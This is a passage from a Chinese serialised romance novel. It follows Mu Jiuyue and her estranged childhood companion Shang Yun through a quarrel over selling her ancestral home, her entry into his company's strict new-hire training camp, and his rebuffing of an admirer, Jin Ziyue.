呃?九月这才想起,他们还没吃晚饭。 不等九月回应,他已闭上眼睛,慵懒的靠在沙发上打盹。 从下午到现在,她也是滴水未饮,粒米未进。 一言不发的走进厨房。好在冰箱里有前两天买好的菜,随便挑了几样菜料,开工。 “你吃辣吗?”菜切到一半,九月突然想起很重要一点,从厨房伸出头去问他。他以前是吃辣椒的,相隔十二年,在他国异乡应该早就改变口味了吧? “不要放辣椒。”他半清醒半迷糊回应。 九月挑眉,庆幸先问过他。否则,凭自己的口味去做这顿饭的话,今天这菜怕是入不了他的口。在厨房鼓捣了半天,做了两菜一汤,端出去。 尚云仍然是她去厨房之前躺在沙发上的样子,她摆碗筷的动静都没让他有任何反应。 看样子是睡着了。九月深吸一口气,悄悄走近他,光洁饱满的额头,两撇眉毛如浓墨描画,眉心微锁。黑长的眼睫下,有一双随时能洞悉人心但此时已隐匿在眼帘下的深邃星眸。直挺的鼻梁,瘦削的脸颊,还有线条完美的嘴唇。真是一张魅惑众生的俊脸。 九月的视线最后落在他的嘴唇上,人说嘴唇薄的人必定寡情,他的嘴唇薄厚适中。 九月,他薄不薄情,早已与你无关! 心里暗骂自己胡思乱想,脚下不由自主退了两步,脚跟不小心撞到椅子,疼得她龇牙咧嘴。 尚云被这声响动惊醒。 “那个……可以吃饭了。”九月心里无以名状的心虚,声音也奇怪的短促。 “嗯。”他惺松睡眼里布满血丝。 “你看起来缺少睡眠,平时工作很忙吧?”九月问。这是她第一次主动问他的生活。 撇开那威风凛凛、叱咤风云的经管家业的头衔不谈,此时的他就像一个睡眠不足的普通男人。靠在沙发上不过几分钟的功夫,竟然就沉沉入睡。 看来,那华丽的外表下,是无尽的压力。整天沉没在繁冗工作里,忙到心力交瘁。厮杀在商界无烟战场,成天担心一个不留神作错决策,将面临整个公司的粉身碎骨,万劫不复。还要毫无选择余地的与有助公司前景发展的各方人士应酬,一番虚与委蛇。 世界上每一个都很无奈。 “嗯。”尚云恢复高冷。走到桌前坐下,也不看她,低头尝了一口菜,微微点头。 九月拉了张椅子,坐在他对面。“合胃口吗?” “味道不错。”尚云实事求是的说。慢条斯理的吃相很好看。 “那,多吃点。”九月微微一笑,拿出筷子,给他布菜。这样的殷勤,前所未有。 尚云意味深长地看她一眼,也不说话,把她夹的菜,全部吞咽下去。 两人都没有再说话,低头认真吃饭。他们心知肚明,这样的宁静,终归是要回到谈判桌上的。只是彼此默契的拖延着这份温暖。 很多年前,他们就是这样面对面坐着吃饭的。那时候桌子中间,总是坐着奶奶,给左边的九月夹鸡蛋,又给右边的尚云夹鱼肉。 那时的九月总是很鸹噪,吃两口饭,就会蹦几句话出来。虽然奶奶一直告诫她说:食不言、寝不语。吓唬她小心长大了没人要,还说要把她丢到岩鹰生蛋的地方去。 九月总会在这时皱着鼻子,撒娇似的看着对面。对面的人抬起头,趁奶奶不注意用手遮着嘴巴,悄悄说:“别怕,奶奶把你丢掉,我把你捡回来。” 她就捂着嘴笑,幸福得一塌糊涂。 华年易逝,往事已矣。那时的幸福相依,现在已隔千重骊山、万里断崖。 瞅着尚云放下筷子,知道他已经吃得差不多了。九月起身收拾好碗筷,又倒了一杯开水递给他。 尚云接过杯子,一口饮尽。 宁静已经结束了,温暖也结束了。屋里空间瞬间冷冽起来,空气慢慢凝聚,结冰。 “你不是说过,祖宅是爷爷半辈子打下的根基,比命都重要,为什么要出售?”尚云淡淡地问。 “祖宅是很重要……” “既然重要,为什么要出售?”他冷冷地打断她的话,杯子重重放在桌上。 第十八章 你没有谈判资格 “我失业了。想自己筹钱创办工作室。”九月说这话时,明显底气不足的。 “在你眼中,几代人守护的情感基地不如你孤注一掷的事业?九月,你什么时候变得这么冷血?”尚云隐忍的怒焰将眼睛染成血红。 “活着,比那些虚无飘渺的事物更重要。”如果目光如刀,那他凌厉的目光已将她千刀万剐。 “好一个‘活着更重要’,你知不知道先人们泉下有灵,听了你这番数典忘祖的话,会是什么心情?”他已经平静下来,眼睛里是怵目惊心的讥诮。 九月只感觉身陷冰窟,牙齿战战发抖,语不成句:“尚云......你只是一个买家......你凭什么这样说我!” “买家?刚才不就在打亲情牌吗?难道为我夹菜装贤良只是为了卖个好价格?”尚云被一句“买家”激怒。再也抑制不住怒火,伸手粗鲁的扫掉桌上的杯子,清脆的碎裂声,刺痛了彼此的心。 尚云眼里聚集着足可燎原的怒焰,沉痛隽永:“你把我当什么了?被你玩弄于股掌之间的白痴!” 九月被他眼中的绝望刺痛。她瞠目结舌无法言语。把他当什么?当成最亲的人,当成生命里不可失去的人,当成灵魂相依支撑她走下去的人。 “我今天见你,就是要知道你想做什么!”尚云站起来,居高临下的看着她,从牙齿里迸出几个字来:“祖宅不许卖!” 九月眼睛睁得大大的,不敢置信的望着他。“你凭什么……” “就凭你爸爸当年让我叫他慕爸爸!”他暴喝。 “如果我不答应呢?”半晌,她找回自己生硬的声音。 “那就试试看!”他的声音,仿佛来自十八层地狱,“我不愿做坏人,但普天之下,我唯独不会在你面前做好人!” 他为何要将关系闹得这么僵?为何要将话说得这样绝?为何要这样误解她,句句都这样伤人。 她扶住桌沿,双肩抖得厉害。 他冷酷的话,如蜂涌密集的毒箭,重重插进她心窝。紧咬嘴唇,以平衡五脏六腑的翻转之痛。泪水在眼眶里打着转,闪烁着不愿落下来。 他说:“你想创业我成全你,但你必须拿出真本事来说服我!” 他说:“先在我公司从基层干起,你可以拒绝,但没有任何谈判资格。” 他说:“不想来也可以,但你必须自谋生路,祖宅不是你想卖就能卖的。” 他说:“给你一天时间考虑,一旦决定你就再没有后悔的余地。” 他还说了什么,她已经记不清了。干洗店的店员送来烘干的衣服,同情的看她一眼就走了。他是什么时候走的,她也不记得了,他换下的衣服已被他扔进了垃圾筒,就像撕了作文本,他说过,“早就该扔了。” 他如此轻易就毁了她一直珍视的记忆,不如不见,不如不重逢。 她只感觉天旋地转,天地之间一片漆黑。刻骨铭心的痛苦如海水潮涌,一浪接一浪的盖过她的神智,她浮沉在无底的黑暗里,惟愿不醒。 空荡荡的客厅里,仿佛还荡着她不可自抑的笑,转眼,就只剩下心碎神伤的哭泣。 当年她独自闯荡谋生,都没有此时这样痛苦。 她早知道他们在那些时刻,便再也回不到过去——她能想到的只是回不去,只是形如陌路。但她从来没想到,他会如此趾高气昂地欺负她;从来没想到,他们之间会存在翻脸无情四个字。 早知今日,何必当初?如果时光逆流,十岁那年她会不会主动保护他,让父母收留他?今天,会不会是另一番光景? 从九月住处出来,尚云神色漠然回到车里,却没有立即启动汽车,浑身像抽光了力气,双目紧闭,无力地靠在椅背上。 “她少年时期家遇变故,从此颠沛流离,遭遇几次大劫,差点就没命了!” 今天遇见的女子说的那句话,一直盘旋在他脑海。 老人的谶语就像阴魂不散的诅咒,平静了数年又开始苏醒,像取不下来的项圈,紧紧勒住他。这十二年来,他每天背负着这座“自责折磨”的巨峰,行走在人世间,不敢有丝毫放松。 “你命犯劫煞孤辰,刑克厉害。不得不防。” “除了15岁内的亲友可幸免于难,其他亲友无一幸免。” “若无大举善念化解,将三生三世命运反复。” “一辈子孤苦伶仃,六亲无缘,孤独终老之相啊!” 因此,在“帝罗咖啡”听到别人议论女子车祸,他才如此失态,如此悲凉,如此绝望。 九月,是他在这世上唯一想以命相护的人。比之失去她,他情愿九月怨恨他。视他为负心人,将他当成一个恶魔,永远不敢心怀期望的恶人。 这样他们之间就不存在“亲友”关系,而是仇敌关系。 一种新的关系正在悄悄拉开序幕。 两天后,普世文化迎来一个奇怪的面试者,对方是一个长相可人,很有气质,温婉静娴的女子。 阿闲描述的时候,木信还有些不相信,“她说是咱老板让来的?”走后门走得如此直率坦诚还真是不多见,关键尚云最反感公司流行这一套,这里面有猫腻。 “千真万确,问她面试什么,她说由老板安排。”阿闲也觉得奇怪,挑挑眉示意木信去问老板的意思。 “为什么是我去请示老板?” “老板最信任你,有些事不方便让我们知道。” 木信不友好地故意上下打量阿闲一番,阿闲被他这么一盯,很不自然的坐下了。 他还真是服了这帮揣测圣意的家伙,不悦地对阿闲说道:“你也是追随老板两年的人,你认为他是这种人吗?我今天要是去了解情况,没什么也显得有什么了。告诉hR部门,按照常规流程走,我说的。” “我这不是怕有特殊情况嘛。老板都快三十了,还形单影只......”阿闲见木信脸色愈发难看,声音越来越小,最后赶紧拿起电话,“喂!何艳在吗......” 木信这才走开了。 九月在沙发上坐了大概二十多分钟的样子,一个年纪与九月相仿的美女进来。 她赶紧站起来,点头问好。美女微微一笑,示意她坐下。“你叫慕九月,今年二十七岁,自考大学毕业,自学设计专业并取得设计师资格证。有三年的品牌视觉设计工作经验,特长是画画,我说的对吗?” 九月强自镇定的点了点头,自己什么都还没说,她也没拿自己的履历表,是怎么知道她的情况,而且一副烂熟于心、从善如流的样子? 第十九章 你是天底下最傻的人 美女似乎看穿了她的疑惑,继续说道:“我是人资经理何艳。几个同事一起临时对你做了一系列背调,所以掌握了一些情况。公司的流程如此,希望别介意。 据说,你的设计功底一流,虽然暂时还没有成名作品。公司查了一些你过去设计的东西,挺有才华。那么,能否说说在进入普世文化后,你未来将要做的三件事,是什么?” 九月纵是精神不济,也不免赞叹普世文化的内部管理之严谨。 未来要做的三件事?在经过昨夜那一场“风暴”洗礼之后,脑中一片凌乱。现在是一点头绪都没有,也没有过类似的应试经验。 想了想,她说:“第一件事,忠于自己。做好自己的本分工作,给自己工作方向准确定位。第二件事,忠于工作。思工作之所虑,为工作之所需。我在设计开发方面有自己的想法,遵从力遵新颖、乐于创新、敢于挑战的方针。第三件事,忠于公司。保护公司利益,把自身利益与公司利益合二为一,同公司共进退。” 何艳静默两秒,终于流露笑意,点头道:“说的好!虽然你把忠于自己放在第一,把忠于公司放在最末,这有点不符职场规则。但只有给自己定好位了才能有工作效率,有工作效率才能保证公司效益。逻辑上并不冲突。” 说到这里,似乎有些难为情的继续道:“虽然我们很相信你的能力,但目前公司暂时没有符合你才华的岗位,不过根据公司的发展规划来看,后期一定会增设品牌视觉设计类岗位。我们公司的用人机制成熟,会人尽其才,你尽管放心。暂时先在基础工作上累积经验,了解公司业务,一步一步来。你同意吗?” “我没问题。”九月淡淡说道。 “好的,希望你能如你所说,别辜负公司对你的信任。明天过来报到,hR部会安排好后面的事情。” 走出普世公司,九月抬头望天,暮霭重重,青灰相交。 接到小竺的电话,神秘兮兮地说有要事相告,约九月在左岸咖啡厅见面。 左岸咖啡厅离这里并不远,九月一个人慢慢走过去,想在上次与小竺坐过的那张桌子坐下来。那张桌子已经有人,她想了想,退出了咖啡厅。 小竺经常笑话她,说她太固执。喜欢一样东西,便会一直喜欢;熟悉的地方,坐过的位置,下一次来,她依旧会找到那儿。如果那里不巧已经有人,她宁愿站在外面等。 小竺曾问她:“旁边不是还有别的吗?” 她想了想说,“还是原来的位置比较习惯。” “那要是原来的位置一直有人,你一直等?” “不会,会选择离开。” 小竺受不了的直翻白眼:“你这是什么毛病?忠诚仪式感?” 好在,那张桌子很快空了出来。九月点了一杯咖啡,小竺还没出现。她没有催人的习惯,担心因为自己催促,对方着急忙慌赶时间容易事故。 她自嘲自己是悲观主义,小竺听她这样说却笑不出来,知道九月父亲的车祸给她留下不小的阴影。 看了看时间,已经快七点了。 面前的黑咖啡已经喝下去一半。很苦,苦到让人想放弃,临放弃又舍不得的味道。 就在九月以为小竺不会来了的时候,一个人影匆匆赶来,一屁股坐在她对面。 “可算来了。”九月指指自己快喝完的咖啡。 “九月,不好意思害你久等。你不知道下班高峰,路上堵的厉害。我下班就往这边赶,没想到还碰上修路,绕了好远。”小竺充满歉意地说。 “没事,我刚好不忙。难得这么悠闲,喝着咖啡,听着音乐。”九月牵唇一笑。“我帮你点一杯拿铁。” 小竺点点头,并不在意喝什么,“九月,我要跟你说件事。不,两件事。一件是好消息,一件是坏消息,你想先听哪个?” 九月咽下苦涩的咖啡,“好消息吧。” “之前我发照片和个人信息给你的我那学长,还记得吗?他对你很有好感,非常希望能约你见面。哈哈,我乐见其成,你觉得他怎么样?” “啊?”九月一脸茫然。“照片?” “你不会没看邮件吧?”小竺气岔,若不是环境优雅怡人,她的声贝可以提高几个档位。“我的姑奶奶,你能不能上点心啊。” 九月猛然想起小竺发微信消息跟她说过这事,但这两天心神不定,这事早忘到脑后:“对不起,小竺,我一忙就忘了,回去就看看。” 见小竺一脸无奈,九月担心她又要上演苦口婆心大戏,赶紧转移注意力:“你不说还有一件坏消息,什么事?” 果然,小竺神色变了,沉默了良久,才道:“你要有心理准备。你心心念念的那个人,他就在这座城市,我也是两天前意外遇见的。” 没想到小竺说的是这件事,九月垂下眼睑,抚弄着咖啡杯,微微点头。 “你已经知道了?”九月的反应太过于淡定,小竺猜到结果。 “我和他前两天见过面了,今天通过面试,明天入职他公司。”九月说完,将咖啡杯中的咖啡一饮而尽,她皱起眉宇,以抵抗黄莲般的苦楚。 这回轮到小竺目瞪口呆,这才几天不见,故事已经发展到高潮了。“你是说,你是说你们不仅见过面,你还将要入职他的公司?”似乎是疑心自己听错,小竺重复了一遍。 “九月,你这么没骨气啊!你这样被他招之则来、挥之则去,把自己当成什么了? 不行,我不同意!你忘了他当初在你最困难的时候抛下你,回去做富公子,你这些年独自经历的苦难都不算数了吗?怎么他一出现你就又心软了是不是?九月你是不是傻!你是天底下最傻的人!” 说到激动处,小竺已然站了起来,眼底一片通红。 九月看看左右,低声道:“小竺,别这样。” 这时侍者端着咖啡过来,“您的拿铁,请慢用。”小竺这才坐下,依然沉着脸。 “谢谢!”九月待侍者走后,才沉闷说道:“小竺,我这事你别管了,我进他公司有自己的计划,暂时不方便告诉你。” 小竺怔了怔,狐疑道:“你......你想做什么?” “不是你想的那样,我有分寸,不用为我担心。” “你不愿意告诉我,我不会逼你。需要我的时候你尽管开口,自己要开心点。好不容易才有今天,我不希望你再有任何闪失。”九月陷入抑郁症时痛苦自残的模样还沥沥在目,那段阴暗潮湿的岁月,是她一点点把九月拽回来的:“实在不行我们远离他,找个爱你的人,宁静过好自己的新生活。” “小竺,这辈子有你这样的朋友,是我的福份。”九月说。 这话尚云也说过。还真是默契。小竺叹了口气,没作声。 等解开心底的结,等挖出那个答案,才能让“过去”成为过去,“未来”才能来。九月侧着脑袋,看着窗外淅淅沥沥地下起雨来。 第二十章 九月救场 普世公司的训练基地相当于一个中学校的面积,对于一个目前还处在中小企业的阶段,却租赁如此宽广的训练场地,对拓展训练的重视程度着实让人惊叹。 接待新入职人员的工作人员带大家参观训练场地,并介绍基地的每一处,包括食堂,宿舍,休闲区域等等。跑场在网栏外围,是开放式的,住在公司的员工会在这里跑步健身。 介绍完毕,接待人员将每个人的房号分配和人员信息文件交到教官手中,“从现在开始,你们的起居饮食、日常训练都由教练统一管理,特殊情况必须先请示,获得批准再行动。请各位遵守公司纪律,七天后再见!期待脱胎换骨的你!” 人群中有人惊问:“培训期间是全封闭式管理吗?” “没错!有疑议现在就可以退出!”一旁默不作声的教官这时冷肃回应。 众人噤声。 “立正!”教官突然喊道,声音具有穿透力,直震耳膜。 九月站在最后一排,也不免被这突然的口令吓一大跳。 大家立即中规中矩,昂首挺胸,屏息以待。 教官扫视众人,目光在每一个人脸上缓缓移动,与他目光相接的人都自觉垂下眼睑,不敢直视。“新人培训期共为时7天。第1-3天,上午学习文化理论,下午学习基本的体能训练。第4-6天,全天拓展项目训练,分组考核文化实践。第7天,混合项目,统一集中考核。 接下来,我来宣讲训练十条铁规,这十条铁规不只是在训练场有效,在以后的工作当中,每分每秒必须贯彻执行。我只讲一遍,大家听好了。” 每一个人都集中注意力,力保将教练的每一句话都记在心上。 “第一,允许犯错,不允许犯重复的错。第二,令行禁止,像军人重视枪支一样,重视制度。第三,时刻谨记,来这里是为了加速实现目标,不是为了养老避世。第四,今天要比昨天进步,没有人会督促你,你就是自己的鉴督人。第五,表达要超过长相,行动要超过表达,结果要超过行动计划。第六,坚决抵制‘零和’规则,坚守‘双赢’底线。第七,做得多不如做得对,做得对不如做出成绩。第八......”教练嘎然而止,一双虎目盯住某处,声音平静却冷硬:“后排左边第三位,出列!” 一个二十多岁的高个男子,忐忑不安的走到前排。 “刚才我说了几条,都是些什么内容,你重复一遍!”教官站在他面前,盯着他的眼睛。 “昨晚没睡好,刚才走神了。”高个男子在教练的威慑下,有点不自在。 “你可以走了!直走左转是出口,快点!”教官喝道。 “对不起教官,我不是故意开小差,我很珍惜这次机会,让我留......” 教官黑着脸,欲再次喝令。 这时,后排有个女子举起手来,“教官!” 教官不悦地眯起眼睛,望了眼女子,“最好珍惜你的发言机会!” 得到发言许可,女子道:“铁规第一条表示,允许犯错,不允许犯重复的错。这就表明公司制定这项规定的目的,在于给人改过的机会,犯错之后的成长才最重要,我理解的对吗?” 教官微微点头,背着手走到女子身边,“所以?” “所以,能否给他一次机会?我来复述您刚才所说的七条铁规,他跟着我重复一遍。如果他还是说不上来,你再将他请出去作为惩罚也不迟!”女子淡定地直视前方,说出自己的请求。 沉默半晌,教官深深打量女子一眼,道:“执行!” 女子出列,跟男子并列站在队伍前面,大声的一字一顿,把七条铁规重述了一遍。她故意在每句铁规的关键字眼加重语气,让对方能迅速理解这句话的含义,加深印象。 这么一来,男子顺利通过测试。 两人相视一笑,众人目光齐刷刷地投向一旁的教练。 教官不紧不慢的走过来,“你叫什么名字?” “教官,我叫慕九月。” “归队!”教官对两人发出口令。 晚上收拾好,躺在临时床铺上,九月感觉像散了架一样,沉沉睡去。 天蒙蒙亮的时候,九月醒来。因为是上下铺,她翻个身床就发出细微的声响。担心吵到室友,她蹑手蹑脚地起床,洗嗽完毕,穿过训练场地去了对面食堂。 这时,两米多高的网栏外围,有一个熟悉的身影映入眼帘,是尚云!他一席白色运动短装,白色的运动鞋分外亮眼。他正在跑步,似乎也看到了她,九月正犹豫是否打招呼,对方已经漠然跑步过去了。 他怎会出现在这里?昨天听接待人员介绍,说公司的宿舍也在旁边,难不成尚云住在公司宿舍? 的确。 木信两天前就告知老板,别墅已经安排妥当,可按原计划随时搬进去住。 尚云却淡淡道,“这周事情比较多,推迟一个星期入住。” 事情多......不影响入住啊!木信不解地挠挠头。 晚上,木信加了一会儿班,为了陪老板加班,他连第二天的事情都加班处理了。直到深夜十点多,老板办公室的灯还亮着。他敲门没反应,推门一看才发现尚云并不在办公室。 这么晚了,去了哪儿? 走出办公室的时候,发现漆黑的综合办公室亮着一盏台灯。 他感觉惊讶,打了声招呼:“老于,还在忙?” 老于面前摆着一本书,听到木信说话,忙从书中抽开视线:“木信总助,我不忙。有点事要找你,看见你在忙就没进去打扰,在这看会书等等你。” 一边说着合上书本,一边起身过来。 “找我?”木信有点诧异,能等到这么晚,事情一定比较重要。要么是白天不方便谈,就是没时间谈。遂笑道,“我难得加班这么晚,给你碰上了,害你等这么久。走,去我办公室,刚到手一盒好咖啡,一起尝尝。” 半杯咖啡下肚,木信基本知道老于情况。 老于几个月前加入公司,在业务上资历比较老,也肯下工夫深钻,在公司是有名的劳模。但他似乎在公司还没摸准自己的价值点,年龄摆在这,在一群年轻人中愈发焦虑。 他苦恼的是,有些业务能发挥他的长处,但公司拒接了,这打击了他的信心。 于是想给公司提建议,让公司想想两全法。既能发挥他所长,又能让公司不违背价值观。老板平时较忙,再说他的气场太过强大,不太敢直接跟他说出诉求。 公司都知道,在遇到无法定夺的事项,一般会请教与紧跟核心团队——公司创业时五位元老的步调。尤其是老板助理木信,行事风格完全是老板尚云的风范,请教他绝对没问题。 “老于,你的心情我能理解。当初负责招募的团队就因为年龄方面,有点担忧你在思维方面无法超脱,跟普世这种创业企业不是那么匹配,公司正是多元化进取的时候,不希望维稳的人把氛围给带偏了。 尚总当时是第三轮面试,抽十分钟时间面试的你,就开会去了。但是你可能不知道,是他力排众议,让你来公司。 其实,尚总的理念‘不以营利为最终目的’你应该很清楚,而尚总最看重你哪一点,你有没有想过?” 老于缓缓抿了一口酒,沉思过后他摇头说:“不知道,可能是我的经验吧?” 第二十一章 脱胎换骨的训练 木信微笑摇头,“你的经验很丰富,但没有独立操盘过大项目,这样的经验对我们没有多大的吸引力,这无法衡量你真实的实力,太看重经验,容易陷入思维僵化的弱点。” 老于愕然,他一直引以为傲的专业经验,竟不是他获得这份工作的筹码。“那是?” “他还记得他跟你聊‘假设’吗,你在阐述自己观点的时候,所有的出发点都在于怎样做好这个项目,针对这个项目实施的计划会带来哪些结果,权衡计划实施对客户会有什么损害和收益。在他给你的选题暗示中,你没有受诱,而是选择了正确的一项,‘精益于一项服务,做到极致,哪怕公司因此无法壮大’。” 木信停顿一会,继续道,“尚总曾经说过,一个人的价值观很难被改变,我们招人的时候一定选择价值观与公司核心价值观相类似的人,只要无形的精神力量一致,就能保证有形的方向以及对决策的执行一致。你的选项得分很低,却正是公司看重的。所有的人都在迎合要把公司做大做强的口号,但真正执行的是那些价值观一致的人。” 老于若有所思的点点头,木信轻轻一笑,给他添上咖啡,“来,为你当初的正确选择,以咖啡代酒干杯!” 老于举杯,一饮而尽:“惭愧!走着走着就容易迷失。能坚持初心真的不容易,尚总值得追随。” 木信深深的认可老于的话,“我跟了尚总已经三年多,特别幸运,上一份工作就在尚总手下做事,那时还是愣头青一个,他不仅教我做事方法,还教了我很多处世哲学。除了父母,他就是我生命中最重要的人。因此,尚总出来创业,我情愿跟随尚总。” 木信透过窗户玻璃,看着远方的高速大桥一路金碧辉煌,继续说,“其实你的想法很多人都曾想过,公司做得这么好,为什么不扩大经营,反而要拒绝一些订单?这对公司和员工都不利。 但人要目光长远,尚总坚守初心,不以赢利为最终目标,而是以服务质量塑造品牌,有选择的接受订单不是公司要设立门槛、摆架子,而是公司对所有客户都会做一系列的筛选,坚持正道的客户,就算案子再艰难,也要承接和扶持,因为客户和我们公司从长远来看一个团体,客户就能代表我们,我们也能代表客户。公司最终走得远不远,在于这个大团体的方向是否一致。” “是我太浅薄了。”老于说,“以后就跟着公司的旗帜走。” 老于下班后不久,尚总也回了办公室,看到木信很惊讶,“你在等我?” “你说事情多,我想留下来看能否帮上忙。刚好老于来找我,我想跟公司提个建议。” “我有事出去了一趟。进来说吧。”尚云心情不错,开门让木信进来。 “你刚才要提什么建议?” 木信抿唇,将老于刚才找自己谈论的事简洁讲述一遍,“所以,我们能否设立个人品牌塑造方案? 公司为每个人量身定制个人发展渠道,积极培养优势,在自己擅长的领域中深钻,最终目的在扶持获得金字招牌的员工独当一面成立分司,收益直接与总公司分成,总公司只占小股。前提必须经过一系列考核,以及实际的业绩经营相结合。分公司成立后,仍隶属于公司的统一监督与管理。 员工因此能深刻明白,塑造公司品牌,就是塑造自己的个人品牌,公司品牌在社会上有地位、有价值,自己的个人品牌才有声望、有未来。” 尚云点点头,目光凝神在某一处,那是他正在思索的信号。“可以,明天写一份具体操作的方案我看看。” “好咧!”木信应道。 “下班吧,下次别等我了。” “下次?” 尚云“嗯”了一声:“这个星期,都不用等我。” 木信应声出去了。 培训基地的训练持续到九点,沙地项目,需要新员工爬行向前,穿过低矮的篱笆桩,跳进沙坑,淌过水坑,爬上岸,登上高木架从另一头下来,完成目标射击,这项训练才算完成。 但这几天晚上都下着雨,地上的泥沙和着水,黏在身上要多难受有多难受。 毕竟在办公室养尊处优惯了,对部队男兵女兵而言这些都是游戏一样的项目,但对他们而言还存在心里障碍。 男性犹豫片刻倒是能豁出去。女性则大多数裹足不前,一方面担心形象受损,一方面也实在无法直视那裹满浑身的脏污泥沙。 “职场如战场!你的竞争对手不会因为你是女性就心慈手软!不会因为你的性别,就在抢占资源的时候谦让半分!现实生活不会因为你是女性对你多几分慈悲!” “你已经登到山腰,现在最佳选择就是向上攀登!上山和下山要花同样的代价!勇敢前进,你大有可能胜利,每后退一步,都要尝尽现实的鞭策!” “所有成员,立即趴下!将你的面子、顾虑彻底粉碎,面对生死存亡,你的弱点就是你的性命威胁!这里没有男女之分,喊着男女平等的口号,就要接受平等的考验,平等的训练!这里只有目标和向上的决心!” 这时,九月率先走出人群,在众女性的惊讶与敬佩中,双膝跪地,接着心一横趴进泥水里,学着刚才辅导员示范的动作,穿过篱笆桩。 随后,受到鼓舞的女性,陆陆续续趴下去,像一条长长的蛇队慢慢蠕动在泥沙中。 跳进沙坑很容易,但要爬出2米多高的沙坑就需要耗费体力和智力了。 九月爬了几次都没成功,泥沙太滑,手脚无法着力。 这时,另外两个女性也跳进沙坑里。九月灵机一动,帮助她们先上去。 二人上去后,再接应九月,三人都过关。 期间,教官欲吹口哨,制止三人违规。 这时,后面有人拍了拍他的肩膀。他回头,看到一张冷俊的脸,凛然道:“老板!” 忙将自己的大伞向尚云头顶挪了挪。 “雨太大了,让她们先过关。公司以人为本,别本末倒置。但考核结果作废,等天气好点,这几个人此项目重新考核,公司制度不能儿戏。” “是,老板。” 第二十二章 这里没有别的女人,只有主人 这时,尚云电话响了。 他看了一眼手机,嘱咐一句:“雨太大,尽量让他们早点休息。严,辛苦了。” “明白!”威严冷肃的严教官,对尚云很尊敬也很崇拜,一如士兵在将领面前的服从,丝毫不敢半分逾矩。 当今世上,他称之谓“敬重”二字的人寥寥无几,尚云是第一人。 尚云说完便走开去接电话。教官热切的目光追随直至尚云身影消失。 “木信,什么事?” “老板,金子玥在家门口等你。”木信无奈道,“我跟她解释过你的新居过几天才入住,可她不信,非要在那等你。” “她从哪里得知我搬迁的消息?”尚云头疼道。 “呃~”木信吱吱唔唔,“前段时间,金志高金总说过两个星期是你生日,向我打听你最近需求,实在没需求就准备送你一座宅子。说你创业两年多,还住在公司宿舍。我说漏嘴,透露出你原计划搬家的事。” 木信当初舍弃金仕集团给他的大好前程,执意跟随尚云出来打拼。木信心里一直有愧于金家,对金家也存有几分退让。金志高在自己这里得不到的信息,便向木信打听。尚云也睁只眼闭只眼,知道木信为难,便没有责怪他。 “知道了。” 驱车抵达“滨海香苑”,尚云径直将车靠近大门,左右张望未并看见金子玥的身影,智能管家马上识别了他的车辆,自动开启大门。 把车停稳,他打开大门张望,身后突然跳出一个人,蒙住他的眼睛。 随之而来的是如银铃般的声音:“尚云哥!哈哈!猜猜我的谁。” “子玥,别闹了!”尚云拿下挡住视线的双手,他双眉微拢,转头看向长相甜美的女孩:“你什么时候回来的?” 金子玥缠住他的手,嘻嘻笑道:“听说你搬进新家,我书都念不下去了,想突然袭击,看看尚云哥有没有变坏,很老实哦,我竟没发现任何蛛丝马迹。” 金子玥对尚云那一番心意,有如司马昭之心路人皆知。她嘴中所谓的“变坏”,其实也不过是“有了意中人”。 尚云只当他是妹妹,十年相处,没有半点杂念。他低低一笑,抽出手来拍拍她的头:“还是这么精灵古怪。” 跟着尚云进了别墅,室内都是重新装修好的,家具摆设则是安照尚云意思设计的。金子玥楼下楼上逛了一遍,兴高采烈地踩着铺着地毯的楼梯下来。 尚云站在原地,沉默着观望房间里的一切,深遂眸子里掩映着薄雾,不知道在想什么。 金子玥脸上佯装生气地小声嘀咕:“我现在长大了,不能用精灵古怪来形容我啦,可况你也大不了我几岁,总是这么老气横秋的。” “好,子玥长大了,变成大姑娘了。”尚云向客厅沙发走去。 子玥嫣然一笑:“那还差不多。”紧跟在他身旁。 “看我给你带什么来了。庆祝你乔迁之喜,合美甜蜜,永不分离。” 尚云看了一眼,“乔迁之喜,你这用的什么词。” 她娇哼一声,“不懂了吧。我特意跟美食博主学的,你最喜欢的糯糍甜点,快尝尝!” 尚云怔了怔,子玥已经把一块糯糍送到嘴边,他躲不过,便浅尝一口,咀嚼半天,不自然的点点头:“唔,挺不错。” 子玥笑面如花:“是吧?那你多吃点。要知道,我可不轻易下厨。” “那我得谢谢金大小姐给我的这份殊荣。”尚云莞尔一笑,接着不解地皱眉:“你不是还有半年才毕业吗?怎么就回来了?” “想你啊。我就回来了。”金子玥嘻嘻一笑,一眨不眨地看着他。 尚云暗暗头疼,表面仍风淡云轻:“你不会是瞒着家人回来的吧?” “嗯……也不算完全瞒着,我哥知道呀。再说,反正后面半年都是实习,我在哪实习不一样呢?”说着狡黠一笑,嘟着嘴巴道:“尚云哥,你可要帮我个忙哦。” 尚云早已知道会有这么一出:“帮不了。” “尚云哥!我还没说呢,你就帮不了了?”她鼓着嘴抗议道,分贝提高了几个等级。 尚云头偏了偏,躲过她的声线:“你想住我这里。你那脑袋瓜里想什么我不知道?你还是乖乖回法国,等你爸爸知道就晚了。” “我不回去。”金子玥不依道:“尚云哥,我知道你最好了,你就帮帮我吧。要不,我去做你免薪助理,我爸经常让我跟你学习嘛!而且我住在这里,会让我哥按时交租金,你放心,这样你只赚不赔呀。” “等等,我不需要助理,房子也不打算出租。”尚云敬谢不敏,又皱眉好言相劝:“子玥,你一个女孩子,住在单身男人家里,这不合适。你要是真不打算回法国了,我帮你找个住处。但我这里坚决不能住。” “有什么不舍适呀?”金子玥扁着嘴,“尚云哥你太狠心了,你怎么忍心我流浪街头啊?” 尚云有好些笑:“谁流浪街头,也不会是你。” “那我不住这里,来这里玩总可以吧?”一计不成,再生一计。她缠定他了。 “嗯……这个可以。”尚云没理由再拒绝。 “可是,天这么晚了,我总得把今天晚上打发了才行啊。”这叫以退为进。金子玥眼珠子一转,狡黠地笑了。只要今晚能留下来,她就有办法不用搬出去了。 下一秒,尚云已经拨通了一个电话:“阿闲,过来接个人……” “尚云哥,你这是?”金子玥想不到他兵来将挡,防守得滴水不漏。 “公司有公寓式宿舍,以前是套间是给管理人员住的,现在精减不少人员,刚好空出来几套。你挑一套舒适点的住下吧。有专人管理,无安全之虞。我的特助马上过来接你。” “尚云哥,我知道你狠心,不知道你这么狠心。把我送那么远,我过来找你都不方便嘛。”金子玥拉着哭腔,撒娇。 尚云头皮一阵发麻,嘴角微勾缓缓道:“要不,我打电话给你爸,让他给你配辆车?这样你就方便了。” “不要!”子玥嘟囔道:“我去就是了。” “这就对了。”尚云和言悦色。 金子玥注定要在尚云这里栽跟头了。尚云对不喜欢的人从不染指,更不拖泥带水,不管对金子玥,还是对其它女人。 